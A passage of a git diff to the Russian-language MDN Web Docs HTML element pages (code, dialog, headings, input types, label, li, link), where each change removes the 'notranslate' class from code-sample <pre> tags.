id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/html/element/code/index.html b/files/ru/web/html/element/code/index.html index ca97804ba3..04dec8eb32 100644 --- a/files/ru/web/html/element/code/index.html +++ b/files/ru/web/html/element/code/index.html @@ -56,7 +56,7 @@ translation_of: Web/HTML/Element/code <p>Текстовый абзац, включающий <code><code></code>:</p> -<pre class="brush: html notranslate"><p>The function <code>selectAll()</code> highlights all the text in the +<pre class="brush: html"><p>The function <code>selectAll()</code> highlights all the text in the input field so the user can, for example, copy or delete the text.</p> </pre> diff --git a/files/ru/web/html/element/dialog/index.html b/files/ru/web/html/element/dialog/index.html index 384c7e1ef0..52b1efdad9 100644 --- a/files/ru/web/html/element/dialog/index.html +++ b/files/ru/web/html/element/dialog/index.html @@ -56,14 +56,14 @@ translation_of: Web/HTML/Element/dialog <h3 id="Пример_1">Пример 1</h3> -<pre class="brush: html notranslate"><dialog open> +<pre class="brush: html"><dialog open> <p>Greetings, one and all!</p> </dialog> </pre> <h3 id="Пример_2">Пример 2</h3> -<pre class="brush: html notranslate"><!-- Простой попап диалог с формой --> +<pre class="brush: html"><!-- Простой попап диалог с формой --> <dialog id="favDialog"> <form method="dialog"> <section> @@ -106,7 +106,7 @@ translation_of: Web/HTML/Element/dialog </script> </pre> -<pre class="notranslate"><code><!-- Простой попап диалог с формой --> +<pre><code><!-- Простой попап диалог с формой --> <dialog id="favDialog"> <form method="dialog"> <section> diff --git a/files/ru/web/html/element/heading_elements/index.html b/files/ru/web/html/element/heading_elements/index.html index ba5d86e45e..f3d4b54f1d 100644 --- a/files/ru/web/html/element/heading_elements/index.html +++ b/files/ru/web/html/element/heading_elements/index.html @@ -57,7 +57,7 @@ translation_of: Web/HTML/Element/Heading_Elements <p>Следующий код показывает все уровни заголовков в действии</p> -<pre class="brush: html notranslate"><h1>Heading level 1</h1> +<pre class="brush: html"><h1>Heading level 1</h1> <h2>Heading level 2</h2> <h3>Heading level 3</h3> <h4>Heading level 4</h4> @@ -73,7 +73,7 @@ translation_of: Web/HTML/Element/Heading_Elements <p>Следующий код показывает несколько заголовков с некоторым содержанием под ними .</p> -<pre class="brush: html notranslate"><h1>Heading elements</h1> +<pre class="brush: html"><h1>Heading elements</h1> <h2>Summary</h2> <p>Some text here...</p> @@ -100,14 +100,14 @@ translation_of: Web/HTML/Element/Heading_Elements <h4 id="Не_делай">Не делай</h4> -<pre class="notranslate"><h1>Heading level 1</h1> +<pre><h1>Heading level 1</h1> <h3>Heading level 3</h3> <h4>Heading level 4</h4> </pre> <h4 id="Делай">Делай</h4> -<pre class="notranslate"><h1>Heading level 1</h1> +<pre><h1>Heading level 1</h1> <h2>Heading level 2</h2> <h3>Heading level 3</h3> </pre> @@ -172,7 +172,7 @@ translation_of: Web/HTML/Element/Heading_Elements <h4 id="Пример">Пример</h4> -<pre class="notranslate"><header> +<pre><header> <nav aria-labelledby="primary-navigation"> <h2 id="primary-navigation">Primary navigation</h2> <!-- navigation items --> diff --git a/files/ru/web/html/element/hr/index.html b/files/ru/web/html/element/hr/index.html index 708ea55022..b2a400352a 100644 --- a/files/ru/web/html/element/hr/index.html +++ b/files/ru/web/html/element/hr/index.html @@ -67,7 +67,7 @@ translation_of: Web/HTML/Element/hr <h3 id="HTML">HTML</h3> -<pre class="brush: html notranslate"><p> +<pre class="brush: html"><p> Это первый параграф текста Это первый параграф текста Это первый параграф текста diff --git a/files/ru/web/html/element/input/color/index.html b/files/ru/web/html/element/input/color/index.html index d2b44fcebe..a74bd698ee 100644 --- a/files/ru/web/html/element/input/color/index.html +++ b/files/ru/web/html/element/input/color/index.html @@ -65,7 +65,7 @@ translation_of: Web/HTML/Element/input/color <p>Вы можете обновить простой пример выше, чтобы установить значение по умолчанию, так что цветовая заливка будет предварительно заполнена цветом по умолчанию, и палитра цветов (если таковая имеется) также будет по умолчанию использовать этот цвет:</p> -<pre class="brush: html notranslate"><input type="color" value="#ff0000"></pre> +<pre class="brush: html"><input type="color" value="#ff0000"></pre> <p>{{EmbedLiveSample("Предоставление_цвета_по_умолчанию", 700, 30)}}</p> @@ -77,7 +77,7 @@ translation_of: Web/HTML/Element/input/color <p>Вот пример, который наблюдает за изменениями со временем значения цвета:</p> -<pre class="brush: js notranslate">colorPicker.addEventListener("input", updateFirst, false); +<pre class="brush: js">colorPicker.addEventListener("input", updateFirst, false); colorPicker.addEventListener("change", watchColorPicker, false); function watchColorPicker(event) { @@ -91,7 +91,7 @@ function watchColorPicker(event) { <p>Если реализация элемента {{HTMLElement("input")}} типа <code>color</code> в браузере пользователя не поддерживается правильно, а вместо этого является текстовым полем для непосредственного ввода строки цвета, вы можете использовать {{domxref("HTMLInputElement.select", " select ()")}} метод выбора текста, находящегося в данный момент в поле редактирования. Если браузер вместо этого верно использует <code>color</code>, select () ничего не делает. Вы должны знать об этом, чтобы ваш код мог адекватно реагировать в любом случае.</p> -<pre class="brush: js notranslate">colorWell.select();</pre> +<pre class="brush: js">colorWell.select();</pre> <h3 id="Вариации_внешнего_вида">Вариации внешнего вида</h3> @@ -115,7 +115,7 @@ function watchColorPicker(event) { <p>HTML довольно прост — пара абзацев описательного материала с {{HTMLElement ("input")}} типа <code>color </code>с идентификатором <code>colorWell</code>, который мы будем использовать для изменения цвета текста абзацев.</p> -<pre class="brush: html notranslate"><p>An example demonstrating the use of the <code>&lt;input type="color"&gt;</code> +<pre class="brush: html"><p>An example demonstrating the use of the <code>&lt;input type="color"&gt;</code> control.</p> <label for="colorWell">Color:</label> @@ -132,7 +132,7 @@ function watchColorPicker(event) { <p>Во-первых, есть некоторые настройки. Здесь мы объявляем некоторые переменные. Объявляя переменную, содержащую цвет, который мы установим, когда загрузим страницу, а затем устанавливаем обработчик {{domxref("Window/load_event", "load")}} для выполнения основной работы запуска, как только страница будет полностью загружена.</p> -<pre class="brush: js notranslate">var colorWell; +<pre class="brush: js">var colorWell; var defaultColor = "#0000ff"; window.addEventListener("load", startup, false); @@ -142,7 +142,7 @@ window.addEventListener("load", startup, false); <p>Как только страница загружена, вызывается наш обработчик событий загрузки <code>startup()</code>:</p> -<pre class="brush: js notranslate">function startup() { +<pre class="brush: js">function startup() { colorWell = document.querySelector("#colorWell"); colorWell.value = defaultColor; colorWell.addEventListener("input", updateFirst, false); @@ -159,7 +159,7 @@ window.addEventListener("load", startup, false); <p>Мы предоставляем две функции, которые имеют дело с изменением цвета. Функция <code>updateFirst()</code> вызывается в ответ на <code>input</code> событие. Он изменяет цвет первого элемента абзаца в документе, чтобы соответствовать новому значению входного цвета. Поскольку <code>input</code> события запускаются каждый раз, когда производится корректировка значения (например, если яркость цвета увеличивается), они будут происходить повторно при использовании средства выбора цвета.</p> -<pre class="brush: js notranslate">function updateFirst(event) { +<pre class="brush: js">function updateFirst(event) { var p = document.querySelector("p"); if (p) { @@ -169,7 +169,7 @@ window.addEventListener("load", startup, false); <p>Когда средство выбора цвета закрывается, указывая, что значение больше не будет меняться (если пользователь повторно не откроет средство выбора цвета), в элемент отправляется событие <code>change</code>. Мы обрабатываем это событие с помощью функции <code>updateAll()</code>, используя {{domxref("HTMLInputElement.value", "Event.target.value")}} для получения окончательного выбранного цвета:</p> -<pre class="brush: js notranslate">function updateAll(event) { +<pre class="brush: js">function updateAll(event) { document.querySelectorAll("p").forEach(function(p) { p.style.color = event.target.value; }); diff --git a/files/ru/web/html/element/input/date/index.html b/files/ru/web/html/element/input/date/index.html index 23d6d631cc..d6f809030c 100644 --- a/files/ru/web/html/element/input/date/index.html +++ b/files/ru/web/html/element/input/date/index.html @@ -54,7 +54,7 @@ translation_of: Web/HTML/Element/input/date <p>Возвращает {{domxref("DOMString")}}, представляющий значение даты введённой в input. Вы можете установить значение по умолчанию для элемента с помощью добавления атрибута в {{htmlattrxref("value", "input")}}, например:</p> -<pre class="brush: html notranslate"><input id="date" type="date" value="2017-06-01"></pre> +<pre class="brush: html"><input id="date" type="date" value="2017-06-01"></pre> <p>{{EmbedLiveSample('Значение', 600, 40)}}</p> @@ -64,7 +64,7 @@ translation_of: Web/HTML/Element/input/date <p>Вы также можете получить или установить значение даты в JavaScript с помощью свойств {{domxref("HTMLInputElement.value", "value")}} и {{domxref("HTMLInputElement.valueAsNumber", "valueAsNumber")}} элемента input. Например:</p> -<pre class="brush: js notranslate">var dateControl = document.querySelector('input[type="date"]'); +<pre class="brush: js">var dateControl = document.querySelector('input[type="date"]'); dateControl.value = '2017-06-01'; console.log(dateControl.value); // prints "2017-06-01" console.log(dateControl.valueAsNumber); // prints 1496275200000, a JavaScript timestamp (ms) @@ -135,7 +135,7 @@ console.log(dateControl.valueAsNumber); // prints 1496275200000, a JavaScript ti <p>Самый простой способ использовать <code><input type="date"></code> - это использовать его с элементами <code><input></code> и <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">label</span></font>, как показано ниже:</p> -<pre class="brush: html notranslate"><form> +<pre class="brush: html"><form> <div> <label for="bday">Введите дату вашего рождения:</label> <input type="date" id="bday" name="bday"> @@ -148,7 +148,7 @@ console.log(dateControl.valueAsNumber); // prints 1496275200000, a JavaScript ti <p>Вы можете использовать атрибуты {{htmlattrxref("min", "input")}} и {{htmlattrxref("max", "input")}}, чтобы ограничить дату, которую может выбрать пользователь. В следующем примере мы устанавливаем минимальную дату <code>2017-04-01</code> и максимальную дату <code>2017-04-30</code>. Пользователь сможет выбрать дату только из этого диапазона:</p> -<pre class="brush: html notranslate"><form> +<pre class="brush: html"><form> <div> <label for="party">Укажите предпочтительную дату события:</label> <input type="date" id="party" name="party" min="2017-04-01" max="2017-04-30"> @@ -177,7 +177,7 @@ console.log(dateControl.valueAsNumber); // prints 1496275200000, a JavaScript ti <p>Let's look at an example — here we've set minimum and maximum dates, and also made the field required:</p> -<pre class="brush: html notranslate"><form> +<pre class="brush: html"><form> <div> <label for="party">Choose your preferred party date (required, April 1st to 20th):</label> <input type="date" id="party" name="party" min="2017-04-01" max="2017-04-20" required> @@ -198,7 +198,7 @@ console.log(dateControl.valueAsNumber); // prints 1496275200000, a JavaScript ti <p>Here's the CSS used in the above example. Here we make use of the {{cssxref(":valid")}} and {{cssxref(":invalid")}} CSS properties to style the input based on whether or not the current value is valid. We had to put the icons on a {{htmlelement("span")}} next to the input, not on the input itself, because in Chrome the generated content is placed inside the form control, and can't be styled or shown effectively.</p> -<pre class="brush: css notranslate">div { +<pre class="brush: css">div { margin-bottom: 10px; display: flex; align-items: center; @@ -244,7 +244,7 @@ input:valid+span:after { <p>One way around this is to put a {{htmlattrxref("pattern", "input")}} attribute on your date input. Even though the date input doesn't use it, the text input fallback will. For example, try viewing the following example in a non-supporting browser:</p> -<pre class="brush: html notranslate"><form> +<pre class="brush: html"><form> <div> <label for="bday">Enter your birthday:</label> <input type="date" id="bday" name="bday" required pattern="[0-9]{4}-[0-9]{2}-[0-9]{2}"> @@ -260,7 +260,7 @@ input:valid+span:after { <p>If you try submitting it, you'll see that the browser now displays an error message (and highlights the input as invalid) if your entry doesn't match the pattern <code>nnnn-nn-nn</code>, where <code>n</code> is a number from 0 to 9. Of course, this doesn't stop people from entering invalid dates, or incorrectly formatted dates, such as <code>yyyy-dd-mm</code> (whereas we want <code>yyyy-mm-dd</code>). So we still have a problem.</p> <div class="hidden"> -<pre class="brush: css notranslate">div { +<pre class="brush: css">div { margin-bottom: 10px; } @@ -297,7 +297,7 @@ input:valid + span:after { <p>The HTML looks like so:</p> -<pre class="brush: html notranslate"><form> +<pre class="brush: html"><form> <div class="nativeDatePicker"> <label for="bday">Enter your birthday:</label> <input type="date" id="bday" name="bday"> @@ -338,7 +338,7 @@ input:valid + span:after { <p>The months are hardcoded (as they are always the same), while the day and year values are dynamically generated depending on the currently selected month and year, and the current year (see the code comments below for detailed explanations of how these functions work.)</p> <div class="hidden"> -<pre class="brush: css notranslate">input:invalid+span:after { +<pre class="brush: css">input:invalid+span:after { content: '✖'; padding-left: 5px; } @@ -353,7 +353,7 @@ input:valid+span:after { <p>The other part of the code that may be of interest is the feature detection code — to detect whether the browser supports <code><input type="date"></code>, we create a new {{htmlelement("input")}} element, set its <code>type</code> to <code>date</code>, then immediately check what its type is set to — non-supporting browsers will return <code>text</code>, because the <code>date</code> type falls back to type <code>text</code>. If <code><input type="date"></code> is not supported, we hide the native picker and show the fallback picker UI ({{htmlelement("select")}}) instead.</p> -<pre class="brush: js notranslate">// define variables +<pre class="brush: js">// define variables var nativePicker = document.querySelector('.nativeDatePicker'); var fallbackPicker = document.querySelector('.fallbackDatePicker'); var fallbackLabel = document.querySelector('.fallbackLabel'); diff --git a/files/ru/web/html/element/input/number/index.html b/files/ru/web/html/element/input/number/index.html index b9f77cd132..2b746109af 100644 --- a/files/ru/web/html/element/input/number/index.html +++ b/files/ru/web/html/element/input/number/index.html @@ -42,7 +42,7 @@ translation_of: Web/HTML/Element/input/number <p>{{jsxref("Number")}}, представляющий значение введённого числа. Вы можете установить значение по умолчанию, вставив значение в атрибут {{htmlattrxref("value", "input")}}, например:</p> -<pre class="brush: html notranslate"><input id="number" type="number" value="42"></pre> +<pre class="brush: html"><input id="number" type="number" value="42"></pre> <p>{{EmbedLiveSample('Value', 600, 40)}}</p> @@ -131,7 +131,7 @@ translation_of: Web/HTML/Element/input/number <p>In its most basic form, a number input can be implemented like this:</p> -<pre class="brush: html notranslate"><label for="ticketNum">Number of tickets you would like to buy:</label> +<pre class="brush: html"><label for="ticketNum">Number of tickets you would like to buy:</label> <input id="ticketNum" type="number" name="ticketNum" value="0"></pre> <p>{{EmbedLiveSample('A_simple_number_input', 600, 40)}}</p> @@ -148,7 +148,7 @@ translation_of: Web/HTML/Element/input/number <p>Here, we have an <code>number</code> input with the placeholder <code>"Multiple of 10"</code>. Note how the placeholder disappears and reappears as you manipulate the contents of the edit field.</p> -<pre class="brush: html notranslate"><input type="number" placeholder="Multiple of 10"></pre> +<pre class="brush: html"><input type="number" placeholder="Multiple of 10"></pre> <p>{{EmbedLiveSample('Placeholders', 600, 40)}}</p> @@ -156,7 +156,7 @@ translation_of: Web/HTML/Element/input/number <p>By default, the up and down buttons provided for you to step the number up and down will step the value up and down by 1. You can change this by providing a {{htmlattrxref("step", "input")}} attribute, which takes as its value a number specifying the step amount. Our above example contains a placeholder saying that the value should be a multiple of 10, so it makes sense to add a <code>step</code> value of 10:</p> -<pre class="brush: html notranslate"><input type="number" placeholder="multiple of 10" step="10"></pre> +<pre class="brush: html"><input type="number" placeholder="multiple of 10" step="10"></pre> <p>{{EmbedLiveSample('Controlling_step_size', 600, 40)}}</p> @@ -166,7 +166,7 @@ translation_of: Web/HTML/Element/input/number <p>You can use the {{htmlattrxref("min", "input")}} and {{htmlattrxref("max", "input")}} attributes to specify a minimum and maximum value that the field can have. For example, let's give our example a minimum of 0, and a maximum of 100:</p> -<pre class="brush: html notranslate"><input type="number" placeholder="multiple of 10" step="10" min="0" max="100"></pre> +<pre class="brush: html"><input type="number" placeholder="multiple of 10" step="10" min="0" max="100"></pre> <p>{{EmbedLiveSample('Specifying_minimum_and_maximum_values', 600, 40)}}</p> @@ -176,7 +176,7 @@ translation_of: Web/HTML/Element/input/number <p>One issue with number inputs is that their step size is 1 by default — if you try to enter a number with a decimal, such as "1.0", it will be considered invalid. If you want to enter a value that requires decimals, you'll need to reflect this in the <code>step</code> value (e.g. <code>step="0.01"</code> to allow decimals to two decimal places). Here's a simple example:</p> -<pre class="brush: html notranslate"><input type="number" placeholder="1.0" step="0.01" min="0" max="10"></pre> +<pre class="brush: html"><input type="number" placeholder="1.0" step="0.01" min="0" max="10"></pre> <p>{{EmbedLiveSample("Allowing_decimal_values", 600, 40)}}</p> @@ -188,11 +188,11 @@ translation_of: Web/HTML/Element/input/number <p>For example, to adjust the width of the input to be only as wide as is needed to enter a three-digit number, we can change our HTML to include an ID and to shorten our placeholder since the field will be too narrow for the text we have been using so far:</p> -<pre class="brush: html notranslate"><input type="number" placeholder="x10" step="10" min="0" max="100" id="number"></pre> +<pre class="brush: html"><input type="number" placeholder="x10" step="10" min="0" max="100" id="number"></pre> <p>Then we add some CSS to narrow the width of the element with the ID <code>number</code>:</p> -<pre class="brush: css notranslate">#number { +<pre class="brush: css">#number { width: 3em; }</pre> @@ -204,7 +204,7 @@ translation_of: Web/HTML/Element/input/number <p>You can provide a list of default options from which the user can select by specifying the {{htmlattrxref("list", "input")}} attribute, which contains as its value the ID of a {{HTMLElement("datalist")}}, which in turn contains one {{HTMLElement("option")}} element per suggested value; each <code>option</code>'s <code>value</code> is the corresponding suggested value for the number entry box.</p> -<pre class="brush: html notranslate"><input id="ticketNum" type="number" name="ticketNum" list="defaultNumbers"> +<pre class="brush: html"><input id="ticketNum" type="number" name="ticketNum" list="defaultNumbers"> <span class="validity"></span> <datalist id="defaultNumbers"> @@ -234,7 +234,7 @@ translation_of: Web/HTML/Element/input/number <p>The following example exhibits all of the above features, as well as using some CSS to display valid and invalid icons when the input value is valid/invalid:</p> -<pre class="brush: html notranslate"><form> +<pre class="brush: html"><form> <div> <label for="balloons">Number of balloons to order (multiples of 10):</label> <input id="balloons" type="number" name="balloons" step="10" min="0" max="100" required> @@ -251,7 +251,7 @@ translation_of: Web/HTML/Element/input/number <p>The CSS applied to this example is as follows:</p> -<pre class="brush: css notranslate">div { +<pre class="brush: css">div { margin-bottom: 10px; } @@ -283,7 +283,7 @@ input:valid+span:after { <p>The HTML looks like this:</p> -<pre class="brush: html notranslate"><form> +<pre class="brush: html"><form> <div class="metersInputGroup"> <label for="meters">Enter your height — meters:</label> <input id="meters" type="number" name="meters" step="0.01" min="0" placeholder="e.g. 1.78" required> @@ -311,7 +311,7 @@ input:valid+span:after { <p>Now on to the CSS — this looks very similar to the validation styling we saw before; nothing remarkable here:</p> -<pre class="brush: css notranslate">div { +<pre class="brush: css">div { margin-bottom: 10px; position: relative; } @@ -338,7 +338,7 @@ input:valid+span:after { <p>And finally, the JavaScript:</p> -<pre class="brush: js notranslate">var metersInputGroup = document.querySelector('.metersInputGroup'); +<pre class="brush: js">var metersInputGroup = document.querySelector('.metersInputGroup'); var feetInputGroup = document.querySelector('.feetInputGroup'); var metersInput = document.querySelector('#meters'); var feetInput = document.querySelector('#feet'); diff --git a/files/ru/web/html/element/input/radio/index.html b/files/ru/web/html/element/input/radio/index.html index 729ad3a3cc..776b89fca1 100644 --- a/files/ru/web/html/element/input/radio/index.html +++ b/files/ru/web/html/element/input/radio/index.html @@ -19,7 +19,7 @@ translation_of: Web/HTML/Element/input/radio <p><span class="seoSummary">Атрибут<strong> type</strong> тега <code><input></code> со значением <strong><code>radio</code></strong> обычно используется для создания группы радиокнопок (переключателей), описывающих набор взаимосвязанных параметров.</span> Одновременно пользователь может выбрать лишь одну радиокнопку из предложенных. Радиокнопки обычно отображаются как небольшие кружки, которые заполняются или подсвечиваются при наведении.</p> <div id="Basic_example"> -<pre class="brush: html notranslate"><input type="radio" id="radioButton"></pre> +<pre class="brush: html"><input type="radio" id="radioButton"></pre> <p>{{ EmbedLiveSample('Basic_example', 600, 30) }}</p> @@ -73,7 +73,7 @@ translation_of: Web/HTML/Element/input/radio <p>HTML будет выглядеть следующим образом:</p> -<pre class="brush: html notranslate"><form> +<pre class="brush: html"><form> <p>Please select your preferred contact method:</p> <div> <input type="radio" id="contactChoice1" @@ -113,7 +113,7 @@ translation_of: Web/HTML/Element/input/radio <p>Давайте добавим немного кода в наш пример для того, чтобы изучить данные, полученные из этой формы. HTML изменяется путём добавления блока {{HTMLElement("pre")}} для вывода данных формы. </p> -<pre class="brush: html notranslate"><form> +<pre class="brush: html"><form> <p>Please select your preferred contact method:</p> <div> <input type="radio" id="contactChoice1" @@ -136,7 +136,7 @@ translation_of: Web/HTML/Element/input/radio <p>Затем добавим немного <a href="/en-US/docs/Web/JavaScript">JavaScript</a>. Установим обработчик события {{event("submit")}}, которая будет отправляться при клике пользователя на кнопку "Отправить":</p> -<pre class="brush: js notranslate">var form = document.querySelector("form"); +<pre class="brush: js">var form = document.querySelector("form"); var log = document.querySelector("#log"); form.addEventListener("submit", function(event) { @@ -161,7 +161,7 @@ form.addEventListener("submit", function(event) { <p>Чтобы установить радиокнопку как выбранную по умолчанию, вам необходимо подключить атрибут <code>checked</code>, как показано ниже в немного изменённой версии предыдущего примера.</p> -<pre class="brush: html notranslate"><form> +<pre class="brush: html"><form> <p>Please select your preferred contact method:</p> <div> <input type="radio" id="contactChoice1" @@ -203,7 +203,7 @@ form.addEventListener("submit", function(event) { <p>HTML будет выглядеть следующим образом:</p> -<pre class="brush: html notranslate"><form> +<pre class="brush: html"><form> <fieldset> <legend>Please select your preferred contact method:</legend> <div> @@ -229,7 +229,7 @@ form.addEventListener("submit", function(event) { <p>CSS будет выглядеть так:</p> -<pre class="brush: css notranslate">html { +<pre class="brush: css">html { font-family: sans-serif; } diff --git a/files/ru/web/html/element/input/range/index.html b/files/ru/web/html/element/input/range/index.html index a3fcca88d8..231f03d7b4 100644 --- a/files/ru/web/html/element/input/range/index.html +++ b/files/ru/web/html/element/input/range/index.html @@ -56,7 +56,7 @@ translation_of: Web/HTML/Element/input/range <p>Атрибут {{htmlattrxref("value", "input")}} содержит {{domxref("DOMString")}}, который содержит строковое представление выбранного числа. Значение никогда не является пустой строкой (<code>""</code>). Значение, по умолчанию, находится посередине, между указанными минимальным и максимальным значениями — если максимум оказывается меньше минимума, то значение по умолчанию приравнивается к значению атрибута <code>min</code>. Алгоритм определения значения по умолчанию:</p> -<pre class="brush: js notranslate">defaultValue = (rangeElem.max < rangeElem.min) ? rangeElem.min +<pre class="brush: js">defaultValue = (rangeElem.max < rangeElem.min) ? rangeElem.min : rangeElem.min + (rangeElem.max - rangeElem.min)/2;</pre> <p>Если предпринята попытка установить значение меньше минимального, то оно примет значение атрибута min. Аналогично, попытка установить значение больше максимального, приведёт к установлению значения равного атрибуту max.</p> @@ -159,7 +159,7 @@ translation_of: Web/HTML/Element/input/range <p>Например, указать диапазон значений между -10 и 10, вы можете, используя:</p> -<pre class="brush: html notranslate"><input type="range" min="-10" max="10"></pre> +<pre class="brush: html"><input type="range" min="-10" max="10"></pre> <p>{{EmbedLiveSample("Указание_минимума_и_максимума", 600, 40)}}</p> @@ -168,7 +168,7 @@ translation_of: Web/HTML/Element/input/range <p>По умолчанию, степень детализации равна 1, тем самым показывая, что значение всегда является целым числом. Вы можете изменить атрибут {{htmlattrxref("step")}} контроля степени детализации. Например, если вам нужно значение между 5 и 10, с точностью до двух знаков после запятой, вы должны установить значение <code>step</code> на 0.01:</p> <div id="Granularity_sample1"> -<pre class="brush: html notranslate"><input type="range" min="5" max="10" step="0.01"></pre> +<pre class="brush: html"><input type="range" min="5" max="10" step="0.01"></pre> <p>{{EmbedLiveSample("Granularity_sample1", 600, 40)}}</p> </div> @@ -176,7 +176,7 @@ translation_of: Web/HTML/Element/input/range <p>Если вы хотите принять любое значение, независимо от разрядности, вы можете указать значение <code>any</code> для атрибута {{htmlattrxref("step", "input")}}:</p> <div id="Granularity_sample2"> -<pre class="brush: html notranslate"><input type="range" min="0" max="3.14" step="any"></pre> +<pre class="brush: html"><input type="range" min="0" max="3.14" step="any"></pre> <p>{{EmbedLiveSample("Granularity_sample2", 600, 40)}}</p> @@ -203,7 +203,7 @@ translation_of: Web/HTML/Element/input/range </tr> <tr> <td> - <pre class="brush: html notranslate"> + <pre class="brush: html"> <input type="range"></pre> </td> <td><img alt="Screenshot of a plain slider control on macOS" src="https://mdn.mozillademos.org/files/14989/macslider-plain.png" style="height: 28px; width: 184px;"></td> @@ -223,7 +223,7 @@ translation_of: Web/HTML/Element/input/range </tr> <tr> <td> - <pre class="brush: html notranslate"> + <pre class="brush: html"> <input type="range" list="tickmarks"> <datalist id="tickmarks"> @@ -258,7 +258,7 @@ translation_of: Web/HTML/Element/input/range </tr> <tr> <td> - <pre class="brush: html notranslate"> + <pre class="brush: html"> <input type="range" list="tickmarks"> <datalist id="tickmarks"> @@ -333,7 +333,7 @@ translation_of: Web/HTML/Element/input/range <p>В HTML нужно добавить обёртку вокруг {{HTMLElement("input")}} - {{HTMLElement("div")}}, что позволит нам исправить макет после выполнения трансформации (т.к. трансформация автоматически не влияет на макет страницы):</p> -<pre class="brush: html notranslate"><div class="slider-wrapper"> +<pre class="brush: html"><div class="slider-wrapper"> <input type="range" min="0" max="11" value="7" step="1"> </div></pre> @@ -341,7 +341,7 @@ translation_of: Web/HTML/Element/input/range <p>Теперь нам нужно немного CSS. Во-первых, это CSS для самой обёртки; это указание дисплея и размеров для правильного расположения на странице; по сути, он резервирует область страницы для слайдера, так, чтобы можно было поместить повёрнутый слайдер в зарезервированном пространстве, не создавая беспорядка.</p> -<pre class="brush: css notranslate">.slider-wrapper { +<pre class="brush: css">.slider-wrapper { display: inline-block; width: 20px; height: 150px; @@ -351,7 +351,7 @@ translation_of: Web/HTML/Element/input/range <p>Затем информация о стиле элемента <code><input></code> в зарезервированном пространстве:</p> -<pre class="brush: css notranslate">.slider-wrapper input { +<pre class="brush: css">.slider-wrapper input { width: 150px; height: 20px; margin: 0; @@ -378,7 +378,7 @@ translation_of: Web/HTML/Element/input/range <p>Берём только те инпуты что имеют тип range:</p> -<pre class="notranslate">input[type="range"] { +<pre>input[type="range"] { -webkit-appearance: slider-vertical; }</pre> @@ -405,14 +405,14 @@ translation_of: Web/HTML/Element/input/range <p>Используем тот же HTML что и в предыдущем примере:</p> -<pre class="brush:html notranslate"><input type="range" min="0" max="11" value="7" step="1"> +<pre class="brush:html"><input type="range" min="0" max="11" value="7" step="1"> </pre> <h4 id="CSS_4">CSS</h4> <p>Берём только те инпуты что имеют тип range, меняем writing mode с default на <code>bt-lr</code>, или bottom-to-top и left-to-right:</p> -<pre class="brush: css notranslate">input[type="range"] { +<pre class="brush: css">input[type="range"] { writing-mode: bt-lr; }</pre> @@ -433,7 +433,7 @@ translation_of: Web/HTML/Element/input/range <p>Берём только те инпуты что имеют тип range, меняем writing mode с default на <code>bt-lr</code>, или bottom-to-top и left-to-right, для Edge и Internet Explorer, и добавляем <code>-webkit-appearance: slider-vertical</code> для всех -webkit-based браузеров:</p> -<pre class="brush: css notranslate">input[type="range"] { +<pre class="brush: css">input[type="range"] { writing-mode: bt-lr; -webkit-appearance: slider-vertical; }</pre> diff --git a/files/ru/web/html/element/label/index.html b/files/ru/web/html/element/label/index.html index 660264e853..7f795525d0 100644 --- a/files/ru/web/html/element/label/index.html +++ b/files/ru/web/html/element/label/index.html @@ -68,13 +68,13 @@ translation_of: Web/HTML/Element/label <h3 id="Simple_label_example">Simple label example</h3> -<pre class="brush: html notranslate"><label>Click me <input type="text"></label></pre> +<pre class="brush: html"><label>Click me <input type="text"></label></pre> <p>{{EmbedLiveSample('Simple_label_example', '200', '50', '')}}</p> <h3 id="Using_the_for_attribute">Using the "for" attribute</h3> -<pre class="brush: html notranslate"><label for="username">Click me</label> +<pre class="brush: html"><label for="username">Click me</label> <input type="text" id="username"></pre> <p>{{EmbedLiveSample('Using_the_for_attribute', '200', '50', '')}}</p> diff --git a/files/ru/web/html/element/li/index.html b/files/ru/web/html/element/li/index.html index 2619075e38..3606cc319e 100644 --- a/files/ru/web/html/element/li/index.html +++ b/files/ru/web/html/element/li/index.html @@ -81,7 +81,7 @@ translation_of: Web/HTML/Element/li <h3 id="Упорядоченный_список">Упорядоченный список</h3> -<pre class="brush: html notranslate"><ol> +<pre class="brush: html"><ol> <li>Первый элемент</li> <li>Второй элемент</li> <li>Третий элемент</li> @@ -92,7 +92,7 @@ translation_of: Web/HTML/Element/li <h3 id="Упорядоченный_список_с_пользовательским_значением">Упорядоченный список с пользовательским значением</h3> -<pre class="brush: html notranslate"><ol type="I"> +<pre class="brush: html"><ol type="I"> <li value="3">Третий элемент</li> <li>Четвёртый элемент</li> <li>Пятый элемент</li> @@ -103,7 +103,7 @@ translation_of: Web/HTML/Element/li <h3 id="Неупорядоченный_список">Неупорядоченный список</h3> -<pre class="brush: html notranslate"><ul> +<pre class="brush: html"><ul> <li>Первый элемент</li> <li>Второй элемент</li> <li>Третий элемент</li> diff --git a/files/ru/web/html/element/link/index.html b/files/ru/web/html/element/link/index.html index 8d72fa0b3e..de177c77d6 100644 --- a/files/ru/web/html/element/link/index.html +++ b/files/ru/web/html/element/link/index.html @@ -19,29 +19,29 @@ original_slug: Web/HTML/Element/ссылка <p>Чтобы подключить таблицу стилей, вы должны включить элемент <code><link></code> внутри вашего {{HTMLElement("head")}} следующим образом:</p> -<pre class="brush: html no-line-numbers notranslate"><link href="main.css" rel="stylesheet"></pre> +<pre class="brush: html no-line-numbers"><link href="main.css" rel="stylesheet"></pre> <p>В этом простом примере указывается путь к таблице стилей внутри атрибута <code>href</code> и атрибут <code>rel</code> со значением <code>stylesheet</code>. <code>rel</code> означает "отношения (relationship)", и, вероятно, является одной из ключевых особенностей элемента <code><link></code> — значение сообщает как указанный элемент связан с содержащим его документом. Как вы увидите в нашем справочнике <a href="/en-US/docs/Web/HTML/Link_types">типы ссылок</a>, есть много различных видов отношений.</p> <p>Существует ряд других распространённых типов, с которыми вы столкнётесь. Например, ссылка на сайт иконок:</p> -<pre class="brush: html no-line-numbers notranslate"><link rel="icon" href="favicon.ico"></pre> +<pre class="brush: html no-line-numbers"><link rel="icon" href="favicon.ico"></pre> <p>Есть ряд других значений <code>rel</code> для иконок, в основном, используемых для обозначения специальных типов иконок для использования на различных мобильных платформах, например:</p> -<pre class="brush: html no-line-numbers notranslate"><link rel="apple-touch-icon-precomposed" sizes="114x114" +<pre class="brush: html no-line-numbers"><link rel="apple-touch-icon-precomposed" sizes="114x114" href="apple-icon-114.png" type="image/png"></pre> <p>Атрибут <code>sizes</code> определяет размер иконки, когда <code>type</code> содержит тип MIME связанного 